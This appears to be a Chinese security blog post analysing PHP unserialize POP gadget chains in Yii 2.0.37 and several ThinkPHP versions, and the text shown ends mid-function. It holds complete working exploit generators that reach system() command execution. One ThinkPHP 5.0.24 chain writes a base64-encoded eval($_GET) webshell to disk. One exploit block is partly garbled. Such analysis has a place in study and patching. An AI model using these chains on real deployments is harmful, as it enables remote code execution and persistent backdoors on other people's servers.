yii框架2.0.37

yii框架2.0.37

环境

phpstudy 7.2.0 nst

要在config/web.php中的cookieValidationKey中随便写入

1
'cookieValidationKey' => 'asshshdhhhffh',

然后构造一个利用点,在controllers文件夹下创建一个TestController.php文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{
public function actionTest($data){
$name=\Yii::$app->request->get('data');
return unserialize(base64_decode($name));
}
}

反序列化链的分析

POC1

首先全局搜索__destruct,然后我们利用BatchQueryResult.php文件里的__destruct

1
2
3
4
5
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}

然后跟进reset(),

1
2
3
4
5
6
7
8
9
10
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}

发现$this->_dataReader是可控点,所以我们可以利用来触发__call(),然后我们全局搜索__call(),使用Generator.php中的__call()

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

跟进$this->format(),

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

通过分析,发现第二个参数$arguments不可控,所以我们可以看向第一个参数$this->getFormatter,然后跟进getFormatter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

发现$this->getFormatter这个参数是可控的,所以我们可以使用[new 类名,方法名]来调用一个无参的方法,然后通过构造

1
function \w+\(\) ?\n?\{(.*\n)+call_user_func

虽然我的phpstorm搜索不了,但是最后我们可以利用IndexAction.php文件中的run()方法

1
2
3
4
5
6
7
8
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

return $this->prepareDataProvider();
}

此时的$this->checkAccess和$this->id是可控的,所以我们可以利用来执行恶意代码,pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult
{
private $_dataReader;

public function __construct(){
$this->_dataReader=new Generator();
}
}

namespace Faker;

use yii\rest\IndexAction;

class Generator{
protected $formatters=array();
public function __construct(){
$this->formatters['close']=[new IndexAction(),run];
}
}

namespace yii\rest;

class IndexAction
{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="dir";
}

}

echo base64_encode(serialize(new \yii\db\BatchQueryResult));

POC2

由于在后期的修复中BatchQueryResult类不可以进行实例化,所以我们需要利用另外的点,可以使用RunBefore.php中的__destruct()

1
2
3
4
public function __destruct()
{
$this->stopProcess();
}

跟进stopProcess()函数,

1
2
3
4
5
6
7
8
9
10
11
12
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

发现$this->processses是可控的,所以我们可以利用这个!$process->isRunning()来触发__call()方法,然后后面和第一条链是一样的,所以pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace Codeception\Extension;

use Faker\Generator;

class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes=[new Generator()];
}
}

namespace Faker;

use yii\rest\IndexAction;

class Generator
{
protected $formatters = array();
public function __construct(){
$this->formatters['isRunning']=[new IndexAction(),run];
}
}

namespace yii\rest;

class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="dir";
}
}

echo base64_encode(serialize(new \Codeception\Extension\RunProcess));

POC3

这一条链的开头是DiskKeyCache.php中的__destruct(),

1
2
3
4
5
6
7
 */
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}

跟进clearAll()函数,

1
2
3
4
5
6
7
8
9
10
11
12
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}

发现$nsKey和$itemKey是可控点,所以跟进clearKey()函数

1
2
3
4
5
6
7
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}

发现$this->path是可控的,且有字符串拼接,所以可以触发__toString(),然后通过全局搜索__toString(),发现可以使用Covers.php中的__toString(),

1
2
3
4
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}

其中$this->description是可控的,所以可以触发__call(),然后后续和第一条poc链一样,所以pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Covers;

class Swift_KeyCache_DiskKeyCache
{
private $keys = [];
private $path;
public function __construct(){
$this->keys=['axin'=>['is'=>'handsome']];
$this->path=new Covers;
}
}
}



namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class Covers
{
protected $description;
public function __construct(){
$this->description=new Generator();
}
}
}

namespace Faker{

use yii\rest\IndexAction;

class Generator
{
protected $formatters = array();
public function __construct(){
$this->formatters['render']=[new IndexAction(),run];
}
}

}

namespace yii\rest{

class IndexAction
{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess="system";
$this->id="dir";
}
}
}

namespace {
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

POC4

起点和POC1的一样,从BatchQueryResult.php中的__destruct()出发

1
2
3
4
5
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}

跟进reset()函数,

1
2
3
4
5
6
7
8
9
10
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}

发现$this->_dataReader可控,所以我们可以调用DbSession.php的close()函数,

1
2
3
4
5
6
7
8
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}

然后跟进composeFields()函数,

1
2
3
4
5
6
7
8
9
10
11
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}

发现$this->writeCallback可控,所以我们可以延续poc1的链,调用IndexAction类中的run方法,所以pop链,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace yii\db;

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct($fun,$argv){
$this->_dataReader=new DbSession($fun,$argv);
}
}

namespace yii\web;


abstract class MultiFieldSession
{
public $writeCallback;
}

class DbSession extends MultiFieldSession
{
public function __construct($fun,$argv){
$this->writeCallback=[new \yii\rest\IndexAction($fun,$argv),"run"];
}
}

namespace yii\rest;

class IndexAction
{
public $checkAccess;
public $id;
public function __construct($fun,$argv){
$this->checkAccess=$fun;
$this->id=$argv;
}
}

echo base64_encode(serialize(new \yii\db\BatchQueryResult("system","dir")));

POC2和POC3在yii2.0.38中可用

参考文章:[https://www.cnblogs.com/thresh/p/13743081.html]

Thinkphpv6.0.2反序列化链

Thinkphpv6.0.2反序列化链

首先我们把__destruct()作为开头,全局搜索__destruct(),发现在think\Model.php里的__destruct()可以使用

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

这里我们需要$this->lazySave为true,然后看向save,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

我们需要到达

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

所以我们需要经过一个if,此时需要看向isEmpty()和trigger()

1
2
3
4
public function isEmpty(): bool
{
return empty($this->data);
}
1
2
3
4
5
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

所以如果我们需要绕过第一个if的话,需要$this->data为空,而$this->withEvent为false,然后我们绕过第一个if,此时我们看向updateData()和insertData()两个函数,发现updateData()函数有可利用点,所以此时我们需要$this->exists为true,然后我们看向updateData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

发现可利用点在checkAllowFields()函数,但是要到达这个函数,需要经过两个if,但是由于前面trigger()为true和$data不为空,所以可以直接到checkAllowFields()函数,我们看向checkAllowFields()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

此时我们发现利用点在$this->db(),所以我们需要$this->filed为空且this->schema为空,但是题目就是这两个为空,所以不用管,所以我们看向$this->db()

1
2
3
4
5
6
7
8
9
10
11
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

我们可以看到有字符串拼接,所以我们可以利用来触发toString(),此时我们可以构造$this->suffix为一个类,我们全局搜索__toString(),发现think\model\concern\Conversion.php里的__toString()可以利用

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson(),

1
2
3
4
5
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

然后看向toArray(),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

return $item;
}

此时我们可以看向toArray()函数的这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

此时我们可以利用这里
``
$item[$key] = $this->getAttr($key);

1
然后看向getAttr()函数
public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}
1
我们此时可以利用getValue()函数,而此时$name为$this->data[$key]中的$key,而$value为

$value = $this->getData($name);

1
所以我们看向getData()函数
public function getData(string $name = null)
{
    if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($fieldName, $this->relation)) {
        return $this->relation[$fieldName];
    }

    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
1
这个函数会返回$this->data[$key],因此$value为$this->data[$key],然后看向getValue()函数
protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
        }
1
发现我们可以动态函数来执行命令
            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
1
此时只要构造

$this->data=[‘b’=>’dir’];
$this->withAttr[‘b’=>’system’];

1
2
3
就可以了

所以根据上面构造exp
force=true; $this->lazySave=true; $this->exists=true; $this->suffix=$c; } } namespace think\model\concern; trait ModelEvent { protected $withEvent=false; } trait Attribute { private $data=['b'=>'dir']; private $withAttr=['b'=>'system']; } trait Conversion{ protected $visible = ['a' => 'b']; } namespace think\model; use think\Model; class Pivot extends Model { } $a=new Pivot(); $b=new Pivot($a); echo urlencode(serialize($b)); ?>
1
2

注意:由于Conversion使用trait,所以不可以实例化,所以要用继承这个类的类Model,但是Model是接口,所以也不可以实例化,所以我们需要找继承Model类的Pivot()类,但是由于Pivot类调用了两次,所以用这个方法解决

abstract class Model
{
use model\concern\ModelEvent;
use model\concern\Attribute;
use model\concern\ModelEvent;

private $lazySave;
private $force;
protected $suffix;
private $exists;
public function __construct($c=''){
    $this->force=true;
    $this->lazySave=true;
    $this->exists=true;
    $this->suffix=$c;
}

}

$a=new Pivot();
$b=new Pivot($a);

```

参考文章:[https://blog.csdn.net/qq_42181428/article/details/105777872]

[https://www.freesion.com/article/33321065865/]

thinkPHP5.0.24反序列化链

thinkPHP5.0.24反序列化链

首先我们先全局搜索__destruct(),然后可以使用think\process\pipes\Windows.php里的__destruct()

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

然后看向removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

由于file_exists()函数的特性,我们可以通过构造$this->files来触发__toString()魔术方法,因此,我们全局搜索__toString(),发现我们可以利用think\Model.php的__toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson函数,然后再看向toArray函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation(); //$this->error
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

我们可以利用这里触发__call()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

我们发现$name是可控的,而且搜索这一个类,发现getError()函数可以使用

1
2
3
4
public function getError()
{
return $this->error;
}

而$this->error也是可控的,而看向Loader::parseName($name, 1, false),通过解释,发现它只是改变字符串的风格,所以$relation会是$name的值,而这里$modelRelation = $this->$relation();会调用getError()函数,然后我们再看向getRelationData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

可见我们需要找到有getRelation方法的类,且这个类中的getRelation方法可以触发__call(),因此我们通过全局搜索,可以使用think\model\relation\BelongsTo.php里的getRelation方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getRelation($subRelation = '', $closure = null)
{
$foreignKey = $this->foreignKey;
if ($closure) {
call_user_func_array($closure, [ & $this->query]);
}
$relationModel = $this->query
->removeWhereField($this->localKey)
->where($this->localKey, $this->parent->$foreignKey)
->relation($subRelation)
->find();

if ($relationModel) {
$relationModel->setParent(clone $this->parent);
}

return $relationModel;
}

同时因为$this->query是可控的,所以我们可以构造$this->query来触发__call,所以我们需要全局搜索__call,发现按我们可以使用think\console\Output.php里的__call()

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

然后再看向block()函数,然后再看向writeln()函数,然后再看向write()函数

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

此时$this->handle是可控的,所以我们可以全局搜索write,使用think\session\driver\Memcache.php里的write

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

使用think\cache\driver\Memcached.php的set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name); //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) { // $this->handler->set($key, $value, $expire)为true
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}

然后我们看向赋值给$key的getCacheKry()函数,

1
2
3
4
protected function getCacheKey($name)
{
return $this->options['prefix'] . $name;
}

发现$this->options[‘prefix’]是可控的,然后我们再使用think\cache\driver\File.php的set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null) //第二次调用时,$name=tag_.md5('123'),$value=$filename
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true); //php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

由于进入的数据$data会因为exit();,导致后面的数据无法使用,所以我们可以使用php伪协议的方式进行绕过,我们再次看向File.php的getCacheKey()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php'; // php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

可知$this->option[‘path’]是可控的,所以导入数据的文件名也是可控的,所以我们可以先第一次,导入数据进文件中,致使think\cache\driver\Memcached.php中的$this->handler->set($key, $value, $expire)为true,然后致使$key进入到setTagltem中去,而$key是我们可以控制的,所以我们看向setTagltem()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag); //$this->tag='123'
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name; //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name
}
$this->set($key, $value, 0); //$value=$filename,$key=tag_.md5('123')
}
}

我们输入的$key会变为$name,然后文件名为 ‘tag_’ . md5($this->tag),最后再次进入File.php的set方法中,然后写入文件,按照以上的思路的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}

namespace think\model;
use think\Model;

class Merge extends Model
{
protected $append = [];
protected $error;

public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}


namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}

namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}



namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;

class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;

public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}

class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => '',
'cache_subdir' => '',
'prefix' => '',
'data_compress' => '',
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}


echo base64_encode(serialize(new \think\process\pipes\Windows));

然后在application的lndex.php文件中构造

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$a=$_GET[1];
unserialize(base64_decode($a));
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}

然后get提交base64加密的值,即可在本目录下生成文件

参考文章:[https://www.cnblogs.com/xiaozhiru/p/12452528.html]
[https://blog.csdn.net/qq_41891666/article/details/107503710]

ThinkPHP5.1.37反序列化链

环境构造

环境:php 7.0.12
下载包:[https://github.com/top-think/framework/releases/tag/v5.1.37]
[https://github.com/top-think/think/releases/tag/v5.1.37]

只要将framework改为thinkphp放进think-5.1.37里即可

ThinkPHP5.1.37反序列化链

首先用全局变量搜索__destruct(),发现在think\process\pipes\Windows.php的__destruct()有可利用的地方

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

然后我们看向removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

看见file_exists(),这个函数的参数必须是String的形式,所以我们可以利用这个特性来触发__toString(),我们通过全局搜索,对各文件的__toString()进行比对,我们可以使用think\Collection.php的__toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

然后再看向toArray(),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
